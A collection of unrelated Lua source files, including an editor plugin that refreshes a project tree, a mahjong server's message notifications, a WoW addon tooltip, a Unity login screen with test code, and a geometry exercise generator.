name = "Refresh project tree",
description = "Refreshes project tree when files change (Windows only).",
author = "Paul Kulchenko",
version = 0.21,
dependencies = {0.71, osname = "Windows"},
onRegister = function(self)
local ok
ok, winapi = pcall(require, 'winapi')
if not ok then return false end
flags = winapi.FILE_NOTIFY_CHANGE_DIR_NAME + winapi.FILE_NOTIFY_CHANGE_FILE_NAME
end,
onIdle = function(self) if next(watches) then winapi.sleep(1) end end,
onProjectLoad = function(plugin, project)
if watches[project] then return end
for _, watcher in pairs(watches) do watcher:kill() end
watches = {}
local enc = winapi.get_encoding(winapi.CP_UTF8)
winapi.set_encoding(winapi.CP_UTF8)
local watcher, err = winapi.watch_for_file_changes(project, flags, true,
function(...) return handler(plugin, ...) end)
winapi.set_encoding(enc)
if not watcher then
error(("Can't set watcher for project '%s': %s"):format(project, err))
end
watches[project] = watcher
end,
}
|
--[[
file:mahjongLogic.lua
desc:麻将逻辑
auth:Carol Luo
]]
local class = require("class")
local senum = require("mahjong.enum")
local gameCompetition= require("game.competition")
---@class mahjongCompetition:gameCompetition @麻将桌子
local competition = class(gameCompetition)
local this = competition
---构造函数
function competition:ctor()
---@type table<senum,number> @动作优先级
self._prioritys = nil;
---@type table<status,table<senum,function>> @动作检查表
self._behaviors = nil;
end
---重制数据
function competition:dataReboot()
self:super(this,"dataReboot")
end
---@class s2cMahjongStart @游戏开始
---游戏开始
---@param data s2cMahjongStart @数据
function competition:s2cMahjongStart(data)
self:ntfMsgToTable("s2cMahjongStart",data);
end
---@class s2cMahjongClose @游戏结束
---游戏结束
---@param data s2cMahjongClose @数据
function competition:s2cMahjongClose(data)
self:ntfMsgToTable("s2cMahjongClose",data);
end
---@class s2cMahjongDealCard @游戏发牌
---@field isBanker boolean @是否庄家
---@field seatID seatID @发牌玩家
---@field counts count @发牌张数
---@field cards mjCard[] @发牌数据
local see = {
fields = {"cards"},
chairs = {},
}
---游戏发牌
---@param data s2cMahjongDealCard @数据
function competition:s2cMahjongDealCard(data)
see.chairs[1]=data.seatID
self:ntfMsgToTable("s2cMahjongDealCard",senum.faPai(),data,see);
end
---@class s2cMahjongDetails @游戏详情
---@field seatID seatID @麻将详情
---@field status status @游戏状态
---@field pcards xxxxxx @玩家麻将
---游戏详情
---@param data table @数据
function competition:s2cMahjongDetails(data)
local seat = data.seatID
local player = self._arrPlayer[seat];
self:ntfMsgToPlayer(player,"s2cMahjongDetails",senum.scene(),data);
end
---@class s2cMahjongBuHua @补花通知
---@field seatID seatID @补花玩家
---@field cards mjCard[] @补花数据
---补花通知
---@param data s2cMahjongBuHua @数据
function competition:s2cMahjongBuHua(data)
self:ntfMsgToTable("s2cMahjongBuHua",senum.buHua(),data);
end
---@class s2cMahjongChuPai @出牌通知
---@field seatID seatID @出牌玩家
---@field cards mjCard[] @出牌数据
---出牌通知
---@param data s2cMahjongChuPai @数据
function competition:s2cMahjongChuPai(data)
self:ntfMsgToTable("s2cMahjongChuPai",senum.chuPai(),data);
end
---@class s2cMahjongMoPai @摸牌通知
---@field seatID seatID @摸牌玩家
---@field cards mjCard[] @摸牌数据
local see = {
fields = {"cards"},
chairs = {},
}
---摸牌通知
---@param data s2cMahjongMoPai @数据
function competition:s2cMahjongMoPai(data)
see.chairs[1]=data.seatID
self:ntfMsgToTable("s2cMahjongMoPai",senum.moPai(),data,see);
end
---@class s2cMahjongChiPai @吃牌通知
---@field seatID seatID @吃牌玩家
---@field cards mjCard[] @吃牌数据
---吃牌通知
---@param data s2cMahjongChiPai @数据
function competition:s2cMahjongChiPai(data)
self:ntfMsgToTable("s2cMahjongChiPai",senum.chiPai(),data);
end
---@class s2cMahjongPengPai @碰牌通知
---@field seatID seatID @碰牌玩家
---@field cards mjCard[] @碰牌数据
---碰牌通知
---@param data s2cMahjongPengPai @数据
function competition:s2cMahjongPengPai(data)
self:ntfMsgToTable("s2cMahjongPengPai",senum.pengPai(),data);
end
---@class s2cMahjongGangPai @杠牌通知
---@field seatID seatID @杠牌玩家
---@field senum senum @杠牌动作
---@field cards mjCard[] @杠牌数据
---杠牌通知
---@param data s2cMahjongGangPai @数据
function competition:s2cMahjongGangPai(data)
self:ntfMsgToTable("s2cMahjongGangPai",data.senum,data);
end
---@class s2cMahjongHuPai @胡牌通知
---@field senum string @胡牌动作
---@field types string[] @胡牌类型
---@field cards mjCard[] @胡牌数据
---胡牌通知
---@param data s2cMahjongHuPai @数据
function competition:s2cMahjongHuPai(data)
self:ntfMsgToTable("s2cMahjongHuPai",data.senum,data);
end
---@class s2cMahjongTimer @计时通知
---@field djs sec @倒计时
---计时通知
---@param data s2cMahjongTimer @数据
function competition:s2cMahjongTimer(data)
self:ntfMsgToTable("s2cMahjongTimer",senum.timer(),data);
end
---@class s2cMahjongHandle @操作通知
---@field seatID seatID @位置
---@field poinID seatID @指向
---@field handles mjHandle[] @操作
---操作通知
---@param data s2cMahjongHandle @数据
function competition:s2cMahjongHandle(data)
self:ntfMsgToTable("s2cMahjongHandle",senum.handle(),data);
end
---@class sc2MahjongDeduct @扣分通知
---@field senum string @扣分动作
---@field types string[] @扣分原因
---@field score score @变化分数
---@field balan score @当前余额
---扣分通知
---@param data sc2MahjongDeduct @数据
function competition:sc2MahjongDeduct(data)
self:ntfMsgToTable("sc2MahjongDeduct",senum.deduct(),data);
end
return competition |
local _, T = ...
local EV, L = T.Evie, T.L
local MR
local function Rewards_FollowerOnEnter(self)
local fi = self.RewardsFollower.info
if not fi then return end
local xp, levelsGained, xpToNext = self.RewardsFollower.xp, 0
if (xp + fi.currentXP) >= fi.maxXP then
local xpTable = C_Garrison.GetFollowerXPTable(123)
local cxp, clevel = xp+fi.currentXP, fi.level
repeat
cxp, clevel = cxp - xpTable[clevel+levelsGained], clevel+1
until (xpTable[clevel] or 0) == 0 or cxp < xpTable[clevel]
levelsGained = clevel - fi.level
if (xpTable[clevel] or 0) ~= 0 then
xpToNext = xpTable[clevel] - cxp
end
elseif (fi.maxXP or 0) ~= 0 then
xpToNext = fi.maxXP - fi.currentXP - xp
end
local lc = (levelsGained > 0 and "|cff20c020" or "|cffa8a8a8")
local nextXP = xpToNext and ("|cffb2b2b2; " .. GARRISON_FOLLOWER_TOOLTIP_XP:gsub("%%[^%%]*d", "%%s"):format(BreakUpLargeNumbers(xpToNext))) or ""
GameTooltip:SetOwner(self, "ANCHOR_TOP")
GameTooltip:AddDoubleLine(fi.name, lc .. UNIT_LEVEL_TEMPLATE:format(fi.level+levelsGained))
GameTooltip:AddLine(XP_GAIN:format(BreakUpLargeNumbers(xp)) .. nextXP, 0.15, 0.85, 0.15)
GameTooltip:Show()
end
local function Rewards_FollowerOnLeave(self)
if GameTooltip:IsOwned(self) then
GameTooltip:Hide()
end
end
local function RewardsScreen_OnPopulate(self, _fi, mi, _winner)
for x in self.followerPool:EnumerateActive() do
x:SetScript("OnEnter", Rewards_FollowerOnEnter)
x:SetScript("OnLeave", Rewards_FollowerOnLeave)
end
local repNovel, headPrefix, text = T.GetMissionReportInfo(mi.missionID), "", nil
MR:SetShown((repNovel or 0) ~= 0)
if repNovel == 1 then
headPrefix, text = NORMAL_FONT_COLOR_CODE, L'"Everything went as foretold."'
MR.RarityBorder:SetAtlas("loottoast-itemborder-gold")
elseif repNovel == 2 then
headPrefix, text = ITEM_QUALITY_COLORS[2].hex, L'"The outcome was as foretold."'
MR.RarityBorder:SetAtlas("loottoast-itemborder-green")
elseif repNovel == 3 then
headPrefix, text = ITEM_QUALITY_COLORS[3].hex, L'"Nothing went as expected."'
MR.RarityBorder:SetAtlas("loottoast-itemborder-blue")
end
MR.tooltipHeader = headPrefix .. L"Adventure Report"
MR.tooltipText = "|cffffffff" .. L"A detailed record of an adventure completed by your companions." .. (text and "\n\n" .. NORMAL_FONT_COLOR_CODE .. text or "")
end
function EV:I_ADVENTURES_UI_LOADED()
local FRP = CovenantMissionFrame.MissionComplete.RewardsScreen.FinalRewardsPanel
MR = T.CreateObject("RewardFrame", FRP)
MR:SetSize(40, 40)
MR.Icon:SetTexture("Interface/Icons/INV_Inscription_80_Scroll")
MR:SetPoint("TOPRIGHT", FRP.FinalRewardsLineTop, "BOTTOMRIGHT", -42, -4)
hooksecurefunc(CovenantMissionFrame.MissionComplete.RewardsScreen, "PopulateFollowerInfo", RewardsScreen_OnPopulate)
return "remove"
end |
--------------------------------------------------------------------------------
-- Handler.......... : onUserWantsToQuit
-- Author........... : Bérenger Calle-Cort
-- Description...... : Display a popup to confirm or not to quit the application.
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
function Main.onUserWantsToQuit ( )
--------------------------------------------------------------------------------
local sText = application.getCurrentUserEnvironmentVariable( "Text.QuestionQuitApplication")
user.sendEvent ( this.getUser ( ), "WindowManager", "onWindowNewQuestion", sText, "Main", "onUserWantsToQuit_Confirmed" )
--------------------------------------------------------------------------------
end
--------------------------------------------------------------------------------
|
local guiEnabled = false
local snowToggle = true
addEvent("onClientReady",true)
addEventHandler("onClientReady",root,function()
triggerClientEvent(client,"triggerGuiEnabled",client,guiEnabled,snowToggle)
end)
local maxHowTo = 2
local howToTable = {}
addEventHandler("onPlayerLeave",root,function() howToTable[source] = nil end)
addEventHandler("onPlayerChat",root,
function(m)
local lowerC = string.lower(m)
local find = string.find(lowerC,"snow")
if find then
playerHowToCheck(source)
end
end )
function playerHowToCheck(p)
if p then
if not howToTable[p] then
howToTable[p] = 1
tellPlayerHowTo(p)
else
if howToTable[p] > maxHowTo then return end
howToTable[p] = howToTable[p] + 1
tellPlayerHowTo(p)
end
end
end
function tellPlayerHowTo(p)
outputChatBox("You can enable/disable snow by pressing F12",p,0,255,0)
end |
--[[
-- added by wsh @ 2017-12-01
-- UILogin视图层
-- 注意:
-- 1、成员变量最好预先在__init函数声明,提高代码可读性
-- 2、OnEnable函数每次在窗口打开时调用,直接刷新
-- 3、组件命名参考代码规范
--]]
local UILoginView = BaseClass("UILoginView", UIBaseView)
local base = UIBaseView
-- 各个组件路径
local server_text_path = "ContentRoot/SvrRoot/SvrSelectBtn/SvrText"
local account_input_path = "ContentRoot/AccountRoot/AccountInput"
local password_input_path = "ContentRoot/PasswordRoot/PasswordInput"
local server_select_btn_path = "ContentRoot/SvrRoot/SvrSelectBtn"
local login_btn_path = "ContentRoot/LoginBtn"
local long_press_bg = "BgRoot/Bg"
local app_version_text_path = "ContentRoot/AppVersionText"
local res_version_text_path = "ContentRoot/ResVersionText"
-- 以下为测试用的组件路径
local test_uieffect1_path = "TestEffect1"
local test_uieffect2_path = "TestEffect2"
local test_uieffect2_1_path = "TestEffect2/ef_ui_TaskFinish/ani/ani_font1/p_font1/xingxing_01"
local test_uieffect2_2_path = "TestEffect2/ef_ui_TaskFinish/ani/ani_font2/p_font2/xingxing_02"
local test_uieffect2_3_path = "TestEffect2/ef_ui_TaskFinish/ani/ani_font3/p_font3/xingxing_03"
local test_uieffect2_4_path = "TestEffect2/ef_ui_TaskFinish/ani/ani_font4/p_font4/xingxing_04"
local test_content_canvas_path = "ContentRoot"
local test_bottom_canvas_path = "BottomRoot"
local test_top_canvas_path = "TopRoot"
-- 以下为定时器、更新函数、协程测试用的组件路径
local test_timer_path = "TestTimer"
local test_updater_path = "TestUpdater"
local test_coroutine_path = "TestCoroutine"
local function ClickOnLoginBtn(self)
--local name = self.account_input:GetText()
--local password = self.password_input:GetText()
--self.ctrl:LoginServer(name, password)
--self.ctrl:LogindatangServer(self.Model);
--self.ctrl:LogindatangServer(self.model)
self.ctrl:LoginDragonServer();
-----测试xml解析
require("Common.Tools.LuaSimpleXMLParser.xmlTest")
local a = setmetatable({},{__index ={abc=111}})
print(a.abc);
end
local function OnCreate(self)
base.OnCreate(self)
-- 初始化各个组件
self.app_version_text = self:AddComponent(UIText, app_version_text_path)
self.res_version_text = self:AddComponent(UIText, res_version_text_path)
self.server_text = self:AddComponent(UIText, server_text_path)
self.account_input = self:AddComponent(UIInput, account_input_path)
self.password_input = self:AddComponent(UIInput, password_input_path)
self.server_select_btn = self:AddComponent(UIButton, server_select_btn_path)
self.login_btn = self:AddComponent(UIButton, login_btn_path)
--长按事件
self.press_Img = self:AddComponent(UIPointerLongPress, long_press_bg)
self.press_Img:SetOnClick(
function()
print("click")
self.ctrl:SendSelectRoleNew();
end
)
self.press_Img:SetOnPress(
function()
print("long Press")
end
)
-- 设置点击回调
-- 使用方式一:闭包绑定
self.server_select_btn:SetOnClick(
function()
self.ctrl:ChooseServer()
end
)
-- 使用方式二:私有函数、成员函数绑定
self.login_btn:SetOnClick(self, ClickOnLoginBtn)
-- 以下为UI特效层级测试代码
local effect1_config = EffectConfig.UIPetRankYellow
local effect2_config = EffectConfig.UITaskFinish
self.test_effect1 = self:AddComponent(UIEffect, test_uieffect1_path, 1, effect1_config)
self.test_effect2 =
self:AddComponent(
UIEffect,
test_uieffect2_path,
2,
effect2_config,
function()
if not IsNull(self.test_effect2.effect.gameObject) then
self.test_effect2.effect.transform.name = "ef_ui_TaskFinish"
self:AddComponent(UIEffect, test_uieffect2_1_path, 2)
self:AddComponent(UIEffect, test_uieffect2_2_path, 4)
self:AddComponent(UIEffect, test_uieffect2_3_path, 4)
self:AddComponent(UIEffect, test_uieffect2_4_path, 6)
end
end
)
self:AddComponent(UICanvas, test_content_canvas_path, 2)
self:AddComponent(UICanvas, test_bottom_canvas_path, 1)
self:AddComponent(UICanvas, test_uieffect2_path, 3)
self:AddComponent(UICanvas, test_top_canvas_path, 5)
-- 以下为计时器、更新函数、协程的测试代码
self.timer_value = 0
self.update_value = 0
self.coroutine_value = 0
self.test_timer_text = self:AddComponent(UIText, test_timer_path)
self.test_updater_text = self:AddComponent(UIText, test_updater_path)
self.test_coroutine_text = self:AddComponent(UIText, test_coroutine_path)
-- 这里一定要对回调函数持有引用,否则随时可能被GC,引起定时器失效
-- 或者使用成员函数,它的生命周期是和对象绑定在一块的
self.timer_action = function(self)
self.timer_value = self.timer_value + 1
self.test_timer_text:SetText(tostring(self.timer_value))
end
self.timer = TimerManager:GetInstance():GetTimer(1, self.timer_action, self)
-- 启动定时器
self.timer:Start()
-- 启动协程
coroutine.start(
function()
-- 下面的代码仅仅用于测试,别模仿,很容易出现问题:
-- 1、时间统计有累积误差,其实协程用在UI倒计时展示时一般问题不大,倒计时会稍微比真实时间长,具体影响酌情考虑
-- 2、这个协程一旦启用无法被回收,当然,可以避免这点,使用一个控制变量,在对象销毁的时候退出死循环即可
while true do
coroutine.waitforseconds(0.5)
self.coroutine_value = self.coroutine_value + 0.5
self.test_coroutine_text:SetText(tostring(string.format("%.3f", self.coroutine_value)))
end
end
)
end
local function OnEnable(self)
base.OnEnable(self)
self:OnRefresh()
end
-- Update测试
local function Update(self)
self.update_value = self.update_value + Time.deltaTime
self.test_updater_text:SetText(tostring(string.format("%.3f", self.update_value)))
end
local function OnRefreshServerInfo(self)
self.server_text:SetText(self.model.area_name .. " " .. self.model.server_name)
end
local function OnRefresh(self)
-- 各组件刷新
self.app_version_text:SetText("游戏版本号:" .. self.model.client_app_ver)
self.res_version_text:SetText("资源版本号:" .. self.model.client_res_ver)
self.account_input:SetText(self.model.account)
self.password_input:SetText(self.model.password)
OnRefreshServerInfo(self)
end
local function OnAddListener(self)
base.OnAddListener(self)
-- UI消息注册
self:AddUIListener(UIMessageNames.UILOGIN_ON_SELECTED_SVR_CHG, OnRefreshServerInfo)
end
local function OnRemoveListener(self)
base.OnRemoveListener(self)
-- UI消息注销
self:RemoveUIListener(UIMessageNames.UILOGIN_ON_SELECTED_SVR_CHG, OnRefreshServerInfo)
end
local function OnDestroy(self)
self.app_version_text = nil
self.res_version_text = nil
self.server_text = nil
self.account_input = nil
self.password_input = nil
self.server_select_btn = nil
self.login_btn = nil
-- 测试代码
self.timer:Stop()
base.OnDestroy(self)
end
UILoginView.OnCreate = OnCreate
UILoginView.OnEnable = OnEnable
UILoginView.Update = Update
UILoginView.OnRefresh = OnRefresh
UILoginView.OnAddListener = OnAddListener
UILoginView.OnRemoveListener = OnRemoveListener
UILoginView.OnDestroy = OnDestroy
return UILoginView
|
side = {}
min = 4;
max = 20;
side[1] = min + math.random(max - min);
side[2] = side[1] + math.random(max - min);
side[3] = side[1] + math.random(side[2] - side[1]);
side[4] = side[1]
side[5] = side[2]
for i=1,3 do
if(side[i] > side[i+1] + side[i+2]) then
side[i] = side[i+1]
end
end
if (ITEM == 1) then
result = side[1] + side[2] + side[3]
answ = msg_triangle .. tostring(math.floor(side[1])) .. "cm, " .. tostring(math.floor(side[2])) .. "cm" .. msg_and .. tostring(math.floor(side[3])) .. "cm."
else
if (ITEM == 2) then
result = side[2] * 4
answ = msg_square .. tostring(math.floor(side[2])) .. "cm."
else
result = (side[1] + side[3]) * 2
answ = msg_rectangle .. tostring(math.floor(side[1])) .. "cm" .. msg_and .. tostring(math.floor(side[3])) .. "cm."
end
end
|
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